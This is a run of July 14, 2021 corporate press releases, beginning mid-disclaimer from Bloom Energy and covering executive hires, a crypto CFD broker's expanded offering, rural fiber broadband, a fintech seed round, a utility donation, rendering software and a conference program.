"seeks," "estimates," "can," "may," "will," "would" and similar expressions identify such forward-looking statements. These statements include, but are not limited to, expectations regarding the energy efficiency of the Bloom Electrolyzer and the cost at which it will produce hydrogen; expectations related to potential applications of the Bloom Electrolyzer, integrated hydrogen solutions and other technical solutions; expectations regarding the timing of commercial shipments of the Bloom Electrolyzer; and Bloom's ability to successfully commercialize and scale any potential applications. These statements should not be taken as guarantees of results and should not be considered an indication of future activity or future performance. Actual events or results may differ materially from those described in this press release due to a number of risks and uncertainties, including those included in the risk factors section of Bloom Energy's Quarterly Report on Form 10-Q for the quarter ended March 31, 2021 and other risks detailed in Bloom Energy's SEC (News - Alert) filings from time to time. Bloom Energy undertakes no obligation to revise or publicly update any forward-looking statements unless if and as required by law. View source version on businesswire.com: https://www.businesswire.com/news/home/20210714005584/en/

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[July 14, 2021] Brad Coppens Joins InTandem Capital Partners as Senior Managing Director

InTandem Capital Partners, LLC ("InTandem Capital"), a healthcare services focused private equity firm, is pleased to announce that Brad Coppens has joined the investment team as Senior Managing Director. Mr. Coppens brings nearly two decades of private equity experience to InTandem Capital Partners, with emphasis in healthcare and adjacent sectors. Prior to joining InTandem, he was a Senior Managing Director at One Equity Partners. Mr. Coppens focused primarily on investments in the healthcare industry and has also worked on numerous investments in the technology-enabled services space. Mr. Coppens has served as a member of the boards of directors for several companies throughout his investment career. Prior to One Equity Partners, he worked in the investment banking division of J.P. Morgan in the mergers and acquisitions group where he focused on healthcare and various other industries. Mr. Coppens received a B.B.A. from the Stephen M. Ross School of Business at the University of Michigan. "Brad is an astute investor with a sincere appreciation for InTandem's unique investment strategy," said Elliot Cooperstone, Managing Partner of InTandem Capital. "His willingness to work alongside portfolio company CEOs andtheir leadership teams, coupled with his years of investment experience in the healthcare sector, will be of tremendous value to our team as we look to diversify our portfolio and expand our investment capabilities."



"Elliot and I have known each other for more than a decade and I'm thrilled to have the opportunity to work together again," said Brad Coppens. "InTandem's investment strategy and active role in portfolio company support is a unique combination in the healthcare services private equity landscape. When Elliot and his team shared their approach and vision for InTandem, it was evident that both my experience, along with my passion and desire to create value, would be valuable to the firm as we work together to provide strategic, acquisition and operating expertise to future investments. I look forward to working collaboratively with my colleagues at InTandem and our management team partners to build businesses of significant value." About InTandem Capital Partners

InTandem Capital Partners is a private equity firm that invests in and helps accelerate the growth of select healthcare services companies. Its goal is to build excellent businesses of significant value working collaboratively with its management team partners. InTandem is comprised of former business executives and experienced investors, and is uniquely qualified to provide strategic, acquisition and operating expertise to help companies significantly increase their value over time. InTandem provides active support to the management of its portfolio companies directly and leverages its network of industry executives to augment its capabilities. For further information, please visit: www.InTandemCapital.com View source version on businesswire.com: https://www.businesswire.com/news/home/20210714005259/en/

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[July 14, 2021] CAPEX.com Strengthens Cryptocurrency Offer; Clients Can Now Trade over 20 Top Digital Tokens

NICOSIA, Cyprus, July 14, 2021 /PRNewswire/ -- In the wake of a recent global resurgence in interest in cryptocurrencies, especially in Latin America, leading online trading broker CAPEX.com has announced that it is expanding its cryptocurrency offer . As of today, traders have access to over twenty different top-tier CFDs on cryptocurrencies. All registered traders using the brand's services can enjoy the benefits of this new list, regardless of their account type or initial deposit. "We are excited to take this giant step," remarked Christina Koullapi, Executive Director at Key Way Investments Ltd., the company operating CAPEX.com under its CySEC regulation. "We've put a lot of thought into our new crypto asset list, and each coin that is now on it has undergone careful researc and screening beforehand. We wanted to grant as many options as possible to our traders, so they can fulfil their potential on one hand, while avoiding ones that are not credible enough on the other - and we believe we've succeeded in that."



More than just Bitcoin A look at CAPEX.com's new list reveals the most popular and promising names in the cryptocurrency market today. Alongside well-known names such as Bitcoin, Ethereum and Ripple, one can find options with high interest such as Tezos, Aave and Stellar. Especially prominent is the dominance of crypto coins currently trending in Latin America, such as Chainlink and Dash.

About CAPEX.com Established in 2016 with the goal of changing the way online investment is performed, CAPEX.com has won numerous prestigious awards, among them the titles of Best Trading Tools and Best Forex Educational Broker in 2020. The company offers five tailor-made accounts, but those are not a requirement for enjoying benefits such as several trading platforms, access to news resources, an education centre, the brand's proprietary app, and more. Currently, the brand offers CFD trading on over 2,000 different assets, including stocks, cryptocurrencies, forex, and more. Risk Warning: CFDs are complex instruments and come with a high risk of losing money rapidly due to leverage. 75.96% of retail investor accounts lose money when trading CFDs with this provider. You should consider whether you understand how CFDs work and whether you can afford to take the high risk of losing your money.

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[July 14, 2021] Conexon introduces new leadership roles to support continued rapid growth and expansion across rural fiber broadband markets

KANSAS CITY, Mo., July 14, 2021 /PRNewswire/ -- Rural fiber-optic network design and construction management leader, Conexon, announced additions to the rapidly growing company's executive team to include Chief Financial Officer, Matthew Blain, Senior Vice President of Business Development, Carl Meyerhoefer, and Vice President of Operations, Conexon Connect, David Girvan. The new additions join an experienced team of telecommunications, cooperative and broadband veteran industry leaders as Conexon and its internet service provider arm, Conexon Connect, continue to increase their fiber-to-the-home footprint across rural America. Conexon now employs more than 300 professionals working to close the digital divide with fiber broadband. To date, the company has assisted over 200 electric cooperatives, over 50 of which are deploying fiber networks, and has connected nearly 500,000 rural Americans to world-class broadband. Conexon was established in 2015 as a pioneering end-to-end solutions provider for electric cooperatives serving their members and communities with fiber to the home. Under the direction of Partners Randy Klindt and Jonathan Chambers, marked by nearly 50 combined years of industry-leading experience in cooperative FTTH initiatives, telecommunications funding and regulatory influence, the company has grown exponentially. Conexon has been recognized by numerous sources, including Inc. 500, as one of the fastest-growing private companies in the industry. "At Conexon, we are committed to changing the face of rural America through world-class fiber broadband delivered affordably and efficiently. Our company's growth over the past six years demonstrates our dedication to this mission," Klindt said. "Welcoming thought leaders like Matthew, Carl, and David to our team builds on our existing expertis and furthers our efforts to create a new vision for rural fiber broadband deployment."



Blain is a versatile finance professional with nearly 20 years of diverse financial and operating experience that has included investment banking, corporate finance, management consulting, and most recently, consultant CFO services. He has played key roles in executing strategic growth plans for clients in a variety of industries including the energy and telecommunications sectors, from early-stage tech start-ups to mature manufacturing companies. Blain excels at identifying and implementing effective solutions across functional areas including financial modeling, analysis and planning, mergers & acquisitions, divestitures, capital sourcing, and strategic planning. Meyerhoefer has been working in the telecommunications industry for over 25 years helping service providers successfully deploy fiber networks. In recent years, he has concentrated on developing greenfield emerging markets with a focus on electric utilities, and was an early advocate and catalyst for the electric cooperative broadband movement. Leveraging a strong knowledge of telecommunications technology and architectures coupled with keen understanding of customer and market needs, Meyerhoefer has successfully developed and grown over $300 million in new business revenue while working for industry-leading organizations such as CommScope and Calix.

Girvan joins Conexon from Missouri's United Electric Cooperative, where he served as Chief Operating Officer and led the co-op's successful entry into fiber broadband. Though United's electric service territory encompasses an area with less than 3 electric meters per mile, it successfully launched a fiber network to its members, and neighboring communities Girvan led United's success with a focus on aggressive deployment of commercial and residential fiber services through the co-op's subsidiary, United Fiber Under his leadership, the fiber business grew from a 7,000-member cooperative to one now serving nearly 20,000 members and customers with fiber broadband subsidizing the electric operation. In 2021, Conexon Connect was launched as the ISP arm of Conexon to operate and manage cooperative and investor-owned fiber networks. The Connect model  in which the co-op builds and owns the network, enjoying the benefits of fiber on its infrastructure while leasing the fiber to Connect to deliver high-speed internet  simplifies the cooperative's role in launching and operating an FTTH network for its membership. Connect leverages the best practices learned from the Conexon team's decades of experience. About Conexon

Conexon works with Rural Electric Cooperatives to bring fiber to the home in rural communities. The company is composed of professionals who have worked in electric cooperatives and the telecommunications industry, and offer decades of individual experience in business planning, building networks, marketing and selling telecommunications. Conexon offers its electric cooperative clients end-to-end broadband deployment and operations support, from a project's inception all the way through to its long-term sustainability. It works with clients to analyze economic feasibility, secure financing, design the network, manage construction, provide operational support, optimize business performance and determine optimal partnerships. To date, Conexon has assisted over 200 electric cooperatives, over 50 of which are deploying fiber networks. The company has designed over 200,000 miles of fiber and builds more than 35,000 miles annually, with approximately 500,000 rural Americans across the U.S. connected to fiber to the home. Overall, the company has secured more than $1.3 billion in federal and state funding to fund co-op fiber projects across the county. View original content to download multimedia:https://www.prnewswire.com/news-releases/conexon-introduces-new-leadership-roles-to-support-continued-rapid-growth-and-expansion-across-rural-fiber-broadband-markets-301333230.html SOURCE Conexon

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[July 14, 2021] Crawford & Company Marks Milestone 80th Anniversary

Crawford & Company (NYSE: CRD-A and CRD-B), the world's largest publicly listed independent provider of claims management and outsourcing solutions to carriers, brokers and corporations, marks its milestone 80th anniversary this year. Beginning in Columbus, Georgia in 1941, Jim Crawford used his experience as a claims manager for Liberty Mutual as a spark for the creation of Crawford, unaware of how far his concept of an independent firm providing insurers with an efficient and cost-effective alternative to in-house adjusters would go. Since then, Crawford has experienced transformation and evolution, from going public in 1968, to the strategic acquisitions of Broadspire, Contractor Connection, WeGoLook and more. The company has now grown to become the largest publicly listed independent provider of claims management and outsourcing solutions globally, with 9,000 employees in over 70 countries worldwide. For an in-depth look at Crawford's history and innovation throughout the years, take a look at the full timeline here. "We are proud to celebrate this incredible anniversary at Crawford," said Chief Executive Officer, Rohit Verma. "This company started with Jim Crawford's groundbreaking vision for a family-owned business 80 years ago, and to this day, the family still works in partnership with Crawford, as shareholders and board members. Tht sense of family is infused in everything we do, taking the utmost care to restore and enhance lives, businesses and communities. We're honored to have served the global community for so long and look forward to continue serving you."



To kick off festivities for the 80th anniversary, Crawford celebrated with four days of live show-style programming for employees. The show featured panel discussions, day-in-the-life looks at various parts of the business and fun challenges and games, all hosted by award-winning journalist Christine Pullara. In addition, there were opportunities for employees to connect with colleagues around the globe with daily speed networking events and 'Fuel the Positive' recognitions for exemplary individuals. Through the Founder's Day celebration, Crawford also raised over $28,000 for Crawford Cares, which provides financial assistance to employees who experience hardship. For every dollar donated, Crawford matched the contributions dollar-for-dollar.

Verma continued: "Through all of the monumental changes in our first 80 years, our three founding principles have remained constant and still define our company culture: Honesty and integrity above all. Hard work pays. Knowledge and creativity is power. We look forward to what is to come in the next 80 years and beyond!" As Crawford looks to the future, reimagined and simplified customer solutions will help deliver exceptional service and make the company the embedded claims management partner of choice. Crawford will continue to lead the industry with our superior quality, cutting-edge digital solutions and a profound and eminent level of expertise. About Crawford

Based in Atlanta, Crawford & Company (NYSE: CRD-A and CRD-B) is the world's largest publicly listed independent provider of claims management and outsourcing solutions to carriers, brokers and corporations with an expansive global network serving clients in more than 70 countries. The Company's two classes of stock are substantially identical, except with respect to voting rights and the Company's ability to pay greater cash dividends on the non-voting Class A Common Stock (CRD-A) than on the voting Class B Common Stock (CRD-B), subject to certain limitations. In addition, with respect to mergers or similar transactions, holders of CRD-A must receive the same type and amount of consideration as holders of CRD-B, unless different consideration is approved by the holders of 75 percent of CRD-A, voting as a class. More information is available at www.crawco.com. Tag: Crawford-Corporate View source version on businesswire.com: https://www.businesswire.com/news/home/20210714005769/en/

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[July 14, 2021] Dinie, Brazil's Pioneer API-First Embedded Lending Fintech Raises USD $3.8 Million in Seed Round

Dinie, Brazil's pioneer API-first embedded finance fintech, announced a USD $3.8 million seed round led by Accion Venture Lab and K50 Ventures, with participation from Flourish Ventures, Domo Invest and Tribe Capital amongst other funds, and several individuals from successful companies including Bill.com, Divvy, and more. The company also announced that it has concluded its own securitization structure securing a further USD $20 million in debt financing capacity from Empirica Investimentos, a local structured debt investor, with a portfolio under management of USD $1 billion. The investment will be used to accelerate the company's end-to-end embedded credit infrastructure and further expose its APIs to Brazil's largest ecommerce platforms and serve more than 15,000 MSMEs with embedded products such as Dinie Credit Account (business overdraft) and DiniePay (Buy Now Pay later for businesses). By embedding their infrastructure and services within existing platforms that MSMEs already use, Dinie is able to reach large pools of potential MSME customers. Dinie then leverages the platforms' data to quickly approve and underwrite revolving credit and monitor cash flow and repayment behaviors to adjust credit lines and approve new drawdowns without additional paperwork. Dinie's digital credit account further enables MSMEs to fund their working capital and to pay for their daily business expenses. Brazil is home to more than 17 million MSMEs with a USD $480 billion financing gap and most banks are unable to effectively serve them with financial products that are bespoke to their transactional needs, convenient and cost-effective. With MSMEs massively migrating to digital business models, particularly after the Covid-19 crisis, banks will struggle to cater for their online purchasing, digital payments, integration to digital platforms and more. These changes pose an incredible opportunity in a large underserved growth market. Ecommerce for instance, Dinie's target market, is expected to grow by approximately 20% YoY in the next four years. "Dinie's vision is to enable large ecosystems such as ecommerce marketplaces to potentially become the 'bank branch' of MSMEs, where financial products are fully distributed and contextual, and integrated with MSMEs specific business journeys. Banks are effectively becoming invisible within the MSMEs' user experience, who will be able to use their transactional data in exchange for bespoke, cheaper and effortless financial products," said Suzy Ferreira, Dinie's Founder and CEO. Born in Berlin and launched in Sao Paulo in 2019, Dinie has already partnered with Brazil's largest e-commerce enabling platforms such as iFood by MovilePay, Elo7 and Uruguayan payment unicorn dLocal. In less than 18 months of activity, Dinie has granted more than 1,500 loans, having grown by 20 times in 2020, which led it to be selected by Endeavor's Scale-up Fintech acceleration program in Brazil. With the current round, Endeavor's fund Scale Up Ventures also becomes an investor in the Company. "This round has shown us that we are on the right path and it has given us the confidence to continue improving our integrated solutions within large digital ecosystems to better serve small businesses," said Vinicius Cibim, Dinie's Co-founder and CFO. "Affordable credit is essential for small businesses to recover from the COVID-19 pandemic, especially in the hardest-hit countries like Brazil. Dinie is embedding credit offerings in platforms that small business owners already use to provide entrepreneurs with the financing they need to keep their doors open and provide for their families," said Michael Schlein, President and CEO of Accion. "Dinie's innovative business model is emblematic of how embedded finance is a more scalable, secure, and cost-effective way of lending to underserved small businesses. We're excited to add them to the Venture Lab portfolio," said Federico Gomez Romero, the Latin Amrica Investment Officer at Accion Venture Lab.



Ryan Bloomer, Founder & Managing Partner at K50 Ventures, said, "Dinie is currently the only fully digital, "end-to-end" embedded finance player in the Brazilian SMB lending space. We were very impressed with Dinie's founding team and the key partnerships they have in place and believe Dinie is uniquely positioned for exponential growth in Brazil's massive 70 million+ SMB market." Arjuna Costa, Managing Partner at Flourish Ventures, said: "We are thrilled to support female founders in a country where they make up fewer than five percent of Brazil's startups. Suzy and Andrea are redefining the perception of MSME risk and have created a win-win scenario for both underserved business owners who need access to working capital, and the platforms that work with them. A vibrant small business sector will be a key driver of Brazil's post-pandemic recovery, and Dinie can make a vital contribution to MSME success."

About Dinie Dinie (www.dinie.com) enables digital platforms to provide innovative financial services solutions to underserved micro, small and medium-sized enterprises (MSMEs) in Brazil. The company takes the complexities out of the processes for any digital platform to quickly start offering instant and embedded credit-based revolving lines and payment solutions. Dinie is a pioneer in embedded lending "as-a-service" model and Open Finance, defining the future of finance for MSMEs in Brazil. The company's mission is to free MSMEs of the banking oligarchy in Brazil and provide them with the financial tools they need to succeed and prosper. Born in Berlin and founded in Sao Paulo in 2019, DINIE has already granted more than 1,500 loans, growing 20 times in 2020, which led it to be selected for Endeavor's acceleration program Scale-up Fintech. About Accion Venture Lab Accion's seed-stage investment initiative Accion Venture Lab provides capital and extensive support to innovative fintech startups that improve the reach, quality, and affordability of financial services for the underserved and have the potential to scale. Backed by commercial and impact investors since the launch of its third-party fund in 2019, Venture Lab has invested in more than 50 early-stage startups that operate in 30 countries worldwide. Venture Lab is a part of Accion, a global nonprofit committed to creating a financially inclusive world, with a pioneering legacy in microfinance and fintech impact investing. Accion catalyzes financial service providers to deliver high-quality, affordable solutions at scale for the three billion people who are left out of - or poorly served by - the financial sector. For 60 years, Accion has helped tens of millions of people through our work with more than 160 partners in 55 countries. For further information, visit https://www.accion.org/venturelab. About K50 Ventures K50 Ventures invests in founders around the world that are on a mission to make life better for the 99%. Our thesis is simple: improve the lives of billions around the world by making health, education, finance, and housing more affordable, accessible, and sustainable. We firmly believe that the next generation of industry-changing companies will solve real problems for the masses. Since 2016, we have been an early investor and supporter of 150+ companies across the US and Emerging Markets. Some highlights of the portfolio include Self, Mammoth Biosciences, Frubana, Groww, Real, Narmi, Shef, Easyknock, and more. Visit k50ventures.com to learn more. View source version on businesswire.com: https://www.businesswire.com/news/home/20210714005220/en/

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[July 14, 2021] A Drop of Kindness - HomeServe Donation Helps Louisville Water's Affordability Efforts

A $12,000 donation from HomeServe USA, a leading provider of home repair solutions, will help provide assistance to Louisville Water customers who struggle to pay their bill. HomeServe's donation to the Louisville Water Foundation is part of the Foundation's Drops of Kindness program that provides customers with direct bill relief. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20210714005108/en/ "A core value at HomeServe is doing good in the communities we serve. This doesn't just mean offering residents access to affordable repair plans that help take the inconvenience and financial burden out of home emergencies. It also means seeing the needs of a community and working together with our partners to find solutions," said Tom Rusin, CEO of HomeServe North America. "We are proud to have been a partner of Louisville Water for over 14 years and are pleased to help them provide a helping hand to those in need." During the COVID-19 pandemic, more than 18,000 Louisville Water customers have struggled to pay their bill. Through the Louisville Water Foundation and Drops of Kindness, more than $5 million has been granted to customers to help with an unpaid bill. HomeServe has been a partner of Louisville Water since 2007, offering customers access to low-cost interior and exterior plumbing repair plans. Since the partnership began, almost 96,000 Louisville Water customers have signed up for at least one plan and more than 206,000 plans have been issued. Over the years, 74,000 jobs have been performed for these Louisville area residents, saving them a combined $34.6 million in repair expenses. Without a service plan, these are repairs that Louisville Water customers would have had to pay for out-of-pocet. Additionally, through HomeServe and the HomeServe Cares Foundation, over $74,000 in pro bono repairs were completed in 2020 alone for Louisville area residents. Since 2013, HomeServe has contributed $132,000 to Louisville Water's Foundation.



"We have been able to do so much good during the pandemic through the Louisville Water Foundation and our 'Drops of Kindness' program," said Spencer Bruce, President and CEO of Louisville Water. "We are grateful for HomeServe's ongoing support, which enables us to provide water bill assistance to those in need." Louisville Water customers interested in finding out more about bill assistance can visit Drops of Kindness at www.louisvillewater.com/DropsofKindness. Any customers interested in the details of HomeServe's service repair plans should visit www.louisvillewater.com/HomeServe or call 502-583-6610 for more information.

About HomeServe HomeServe USA Corp. (HomeServe) is a leading provider of home repair solutions serving more than 4.7 million customers across the US and Canada under the HomeServe, Home Emergency Insurance Solutions, Service Line Warranties of America (SLWA), Service Line Warranties of Canada (SLWC) names, and through locally branded HVAC companies located in major metro areas. Since 2003, HomeServe has been protecting homeowners against the expense and inconvenience of water, sewer, electrical, HVAC and other home repair emergencies by providing affordable repair coverage, installations and quality local service. As an A+ rated Better Business Bureau Accredited Business, HomeServe is dedicated to being a customer-focused company supplying best-in-class repair plans and other services to consumers directly and through over 1,000 leading municipal and utility partners. HomeServe has teamed up with executive producer, host, and best-selling author Mike Rowe, best known as the creator and host of the hit TV series Dirty Jobs, to work together to provide homeowners expert advice on maintaining, enhancing and protecting their homes. For more information about HomeServe, a Great Place To Work certified winner and recipient of thirty 2020 Stevie Awards for Sales & Customer Service, or to learn more about HomeServe's affordable repair plans, please go to www.homeserve.com. Connect with HomeServe on Facebook (News - Alert) and Twitter @HomeServeUSA. For news and information follow on Twitter @HomeServeUSNews. View source version on businesswire.com: https://www.businesswire.com/news/home/20210714005108/en/

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[July 14, 2021] Enscape Leverages NVIDIA DLSS to Offer Better Performance of Virtual Reality Walkthroughs for Architects

KARLSRUHE, Germany and NEW YORK, July 14, 2021 /PRNewswire/ -- Enscape, a leading provider of 3D real-time visualization and virtual reality technology for architects and designers, today announced it will leverage NVIDIA DLSS Deep Learning Super Sampling technology to help AEC firms get access to the latest real-time rendering technology. Integrating NVIDIA's AI technology into Enscape's cutting-edge rendering software means users can get better quality and performance with lower system requirements to create a more realistic experience during walkthroughs and exports for clients. "Architects and designers globally are looking for ways to quickly and easily visualize their designs and bring them closer to reality. Enscape is partnering with innovative organizations to address this challenge," said Christian Lang, CEO at Enscape. "We're proud to be working with NVIDIA to provide our architecture and design customers around the world access to high-quality real-time rendering and visualization technology." Users will get access to the NVIDIA DLSS technology in Enscape 3.1  the next version scheduled to be released on July 21. The deep learning-based upscaling technique renders internally at a lower resolution but outputs a clean and sharp high-resolution image for high-quality videos and high-performance virtual reality walkthroughs. With NVIDIA DLSS enabled, video rendering time decreases, quality increases, and visual distortions are removed. Users can enjoy improved real-time performance of walkthroughs and higher frame rates with much lower GPU requirements. This latest technology is available to users wih an NVIDIA RTX graphics card.



"NVIDIA DLSS is a great example of artificial intelligence delivering practical benefits to improve industry workflows," said Andrew Rink, head of AEC industry marketing strategy at NVIDIA. "AEC customers using NVIDIA RTX GPUs will be delighted at the innovative way Enscape has integrated our technology to enhance their powerful rendering software." With Enscape and NVIDIA DLSS, users can also take advantage of the latest generation of high-res VR headsets and enjoy high-performance virtual reality experiences.

Enscape's real-time 3D rendering and virtual reality solution brings visual exploration directly into numerous modeling tools, including Autodesk Revit, SketchUp, Rhinoceros, ArchiCAD, and Vectorworks, providing an integrated visualization and design workflow. See what Daniel Stine, Director of Design Technology at Lake|Flato Architects has to say about Enscape's new NVIDIA DLSS capabilities in this blog post. With Enscape 3.1, users can enjoy many other new features and improvements that will make it even easier for architects and designers worldwide to visualize as they design directly from their modeling software. Try Enscape for free:

To see what Enscape already has to offer, users can get a free 14-day trial here. For more information:

Please visit: enscape3d.com and download the press kit here. About Enscape

Enscape develops high-quality 3D real-time rendering and visualization software and provides continuous innovation in accessible design technology. Architects and designers worldwide use Enscape software to unleash their creativity and make the built environment tangible before it exists. Enscape gives designers the power to create realistic renderings based on their existing planning data and automatically produce videos, panoramic images, and VR simulations. Enscape software is used by renowned architecture firms in over 150 countries. The company's corporate headquarters is in Karlsruhe (Germany) and has an office in New York (USA). To learn more, visit us online at enscape3d.com and follow us @Enscape3D View original content to download multimedia:https://www.prnewswire.com/news-releases/enscape-leverages-nvidia-dlss-to-offer-better-performance-of-virtual-reality-walkthroughs-for-architects-301333122.html SOURCE Enscape

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[July 14, 2021] Enterprise Connect Expands 2021 Conference Program, Adds Keynotes by Cisco and Amazon Web Services

Enterprise Connect, the leading conference and exhibition for enterprise communications and collaboration, has expanded its conference program, with new keynote presentations from Cisco and AWS added. Enterprise Connect (News - Alert) will take place September 27-29 at the Gaylord Palms hotel in Orlando, Florida. Register here. Eric Krapf, General Manager, Enterprise Connect said, "We're excited to once again bring corporate IT decision makers together with industry vendors, analysts, consultants, and channel partners in person, to focus on the issues central to enterprise communications. Over three days, our in-depth, expert-led conference program will showcase the latest systems, software, services and applications, and we will also offer abundant opportunities to network and explore industry technology providers." Jeetu Patel, Executive Vice President and General Manager, Security and Collaboration, Cisco (News - Alert) will present a keynote address on September 27. Patel leverages a diverse set of capabilities to lead the strategy and development for the Security and Collaboration businesses at Cisco and also owns P&L responsibility for this multibillion-dollar portfolio. A member of the company's Executive Leadership Team, Patel is helping to redefine Cisco's SaaS (News - Alert) business and strategy to further accelerate the company's transformation and growth. His mission is to build world class, subscription-based products that solve Cisco customers' biggest problems. Pasquale DeMaio, General Manager, Amazon Connect will present a keynote address on September 28. With 20 years of experience in delivering world-class b2b and b2c products, DeMaio led the effort to bring to market Amazon Connect, a self-service, cloud-based contact center based on the same technology used by Amazon customer service associates around the world to power millions of customer conversations. Prior to Amazon Connect, DeMaio worked on machine learning, augmented reality, maps and mobile. His specialties include customer experience, user experience and technology innovation. Enterprise Connect General Sessions

The Future of Communications Technology: Keeping Your Enterprise Ahead of The Curve

Communications technology has always been business-critical. Now it's the foundation of the enterprise's ability to keep employees engaged and support the cross-company collaboration that leads to competitive advantage. Enterprise IT and communications decision-makers must think strategically about the business, while still understanding the technology deeply enough to make the right choices amid a highly competitive, constantly transforming industry landscape. Beth Schultz, Program Co-Chair; Editor, Enterprise Connect and No Jitter, and Jim Burton (News - Alert) , founder & CEO of C-T Link and co-founder BCStrategies will moderate this session among thought leaders from vendors that are driving that transformation. Women in Communications: Roundtable & Reception: Enterprise Connect is committed to giving voice to the women in enterprise IT who are guiding their organizations on communications and collaboration technologies and strategy. Schultz will moderate a roundtable discussion among women IT professionals who have carved out a place for themselves in a traditionally male field. The panelists will share career highlights, discuss the opportunities they see ahead for women in IT and provide guidance for others looking to equalize their footing and elevate their presence within IT. Following the roundtable, Schultz will share details around the 2022 potlight Award program, which recognizes exceptional Women in Communications leaders and role models.



Enterprise Summit: Preparing for What's Next

Many enterprises have found they need to rethink the very nature of the workplace, looking to technologies and policies that enable a hybrid model of in-office and at-home work. Meanwhile, end users are placing a premium on the experience provided by their communications and collaboration tools. And the onus for getting it all right, for employees and the business alike, rests on enterprise communications and collaboration professionals' shoulders. In this session moderated by Schultz, enterprise IT decision makers including Martin Kastner, Chief Information Security Officer, Vyaire Medical and Craig Terranova, Director, Infrastructure & Operations, Oldcastle, will share stories and strategies to help attendees put their choices into perspective. Contact Centers & CX: Blurring the Line Between Automation and Live Assistance

With the first generation of self-service, the IVR, it was simple to tell the difference between machine and human assistance. But the smartphone has changed everything. More and more customer interactions are completed via digital self-service channels - increasingly supported by AI-driven voice and chat bots. However, this technology is also able to help with internal contact center processes, as AI-enabled systems "listen" to customers and guide live agents through ever more complex transactions. In this session, led by contact center guru Sheila McGee-Smith and Schultz, a panel of top contact center industry executives will discuss how speech and machine learning technologies are already changing the level of automation being deployed in contact centers.

The Conference Program will offer more than 40 sessions spanning eight tracks that encompass critical industry topics including: Contact Center and Customer Experience

Video/AV Collaboration

Collaboration Platforms

Practical AI

Embedded Communications & APIs

Unified Communications & UCaaS

Workplace Strategies

Management, Networks & Security View the complete conference program here. Media interested in a media pass, email Meryl Franzman at meryl.franzman@informa.com. For additional information on exhibition or sponsorship opportunities, contact Michael Leahy at Michael.Leay@informa.com. Click here for more information or to register to attend Enterprise Connect. Stay connected with Enterprise Connect on Twitter, LinkedIn, YouTube, Facebook and Instagram. Enterprise Connect is taking steps to ensure attendee, exhibitor and partner safety. Enterprise Connect will adopt parent company Informa's (News - Alert) AllSecure Plan at the event. AllSecure is Informa's approach to ensuring the highest standards of safety, hygiene, cleanliness and operational effectiveness for all exhibitors, attendees, speakers and press. Learn more about Enterprise Connect's health and safety plan here. About Enterprise Connect

For more than 30 years, Enterprise Connect has been the leading conference and exhibition for enterprise communications and collaboration in North America. Enterprise Connect brings corporate IT decision makers together with the industry's vendors, analysts and consultants to focus on the issues central to enterprise communications. Enterprise Connect owns and produces No Jitter, (nojitter.com), providing daily blogging and analysis of enterprise communications, and it also serves the community with a weekly email newsletter, research surveys and a Webinar Series. For more information, visit enterpriseconnect.com/orlando. Enterprise Connect is brought to you by Informa Tech. About Informa Tech

Informa Tech is a market leading provider of integrated research, media, training and events to the global Technology community. We're an international business of more than 600 colleagues, operating in more than 20 markets. Our aim is to inspire the Technology community to design, build and run a better digital world through research, media, training and event brands that inform, educate and connect. Over 7,000 professionals subscribe to our research, with 225,000 delegates attending our events and over 18,000 students participating in our training programs each year, and nearly 4 million people visiting our digital communities each month. Learn more about Informa Tech. View source version on businesswire.com: https://www.businesswire.com/news/home/20210714005101/en/

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[July 14, 2021] ExecOnline CEO Stephen Bailey Honored With ASU+GSV 2021 Innovators of Color Award

ExecOnline, the pioneer of online leadership development for enterprises, announced today that Global Silicon Valley (GSV), a global community and investment platform focused on elevating the scope and scale of innovation in the education and workforce sector, has named ExecOnline Co-Founder and CEO Stephen Bailey as a recipient of its 2021 Innovators of Color Award. The annual award from GSV honors leading global contributors who are making a true impact in the learning and talent world. Stephen will be celebrated at the annual Arizona State University (ASU) +GSV Summit in San Diego, August 9 - 11, 2021. The Summit, a collaboration between ASU and GSV, connects leading minds focused on transforming society and business around learning and work. "This is an incredible professional and personal honor," said Bailey. "It is humbling to be recognized by your peers, and I am proud to share this with my co-founders, investors, business school partners, and our amazing team at ExecOnline. We founded this company with the belief that we can change the world by connecting all leaders to their future potential, and this honor reinforces the importance of our mission. I am extremely grateful to be in the company of so many global thought leaders who came before me." Bailey joins an esteemed list of honorees across education and technology, including the other 2021 honoree, New Profit Co-CEO Tulaine Montgomery. Previous year's honorees include K12 Chairman Nate Davis, Big Picture Learning Executive Director Carlos Moreno, LEAP Innovations CEO Phyllis Lockett and former DC Public Schools Chancellor Kaya Henderson. In addition to Stephen's awrd, ExecOnline has been named to the GSV EdTech 150, which recognizes the world's leading, most transformational education technology companies. ExecOnline was chosen from among 2,000 venture capital and private equity-backed private companies and evaluated on factors such as revenue scale, revenue growth, active learner reach, international reach and margin profile. GSV estimates that the 150 companies on its EdTech list together reach approximately 3 billion people -- close to half of the global population -- and generate approximately $20 billion in revenue.



The ASU+GSV Summit will also recognize the 2021 GSV EdTech 150 list. "Congratulations to Stephen Bailey for being recognized as our Innovator of Color, and to ExecOnline for being selected for the GSV EdTech 150. When we launched the EdTech 50 last year, none of us knew the impact that a global pandemic would bring to education," said GSV Managing Partner Deborah Quazzo. "COVID-19 brought 1.6 billion learners online overnight, ushering in the dawn of digital learning, and those we recognize today certainly met the moment. ExecOnline has responded to unprecedented demand and growth with what GSV calls Weapons of Mass Instruction -- and we look forward to seeing what they do next."

For details on the award and the summit, visit www.asugsvsummit.com. About ASU+GSV Summit The ASU+GSV Summit is an annual event hosted by Arizona State University and GSV connecting leading minds focused on transforming society and business around learning and work. The 2020 Summit welcomed over 15,000 attendees from more than 135 countries, including leading educators, innovators, investors, strategists, foundation leaders, media, and policy makers across the "Pre-K to Gray" global education and skills sectors. Previous keynote speakers include, President George W. Bush, Bill Gates (News - Alert) , Former Secretary of State Condoleezza Rice, Common, Justice Sandra Day O' Connor, Richard Branson, John Legend, President Vincente Fox, Gloria Steinem, and Howard Schultz, among others. About ExecOnline As the pioneer of online leadership development for enterprises, ExecOnline has delivered transformational learning experiences to corporate leaders at over 500 global organizations since 2012. Through partnerships with elite business schools such as Berkeley Haas, Chicago Booth, Columbia, Duke CE, IMD, Ivey Business School, MIT (News - Alert) -Sloan, Stanford GSB, Tuck at Dartmouth, Wharton and Yale, ExecOnline consistently provides top-tier leadership courses. As a Forbes "Technology Company to Watch," our proprietary online ecosystem combines the engagement of on-campus study with the convenience of online education, through dynamic, high-impact experiences tailored to the unique strategic, innovation and operational concerns of corporate executives. Visit www.execonline.com to learn more. Follow ExecOnline on LinkedIn and Twitter. View source version on businesswire.com: https://www.businesswire.com/news/home/20210714005084/en/

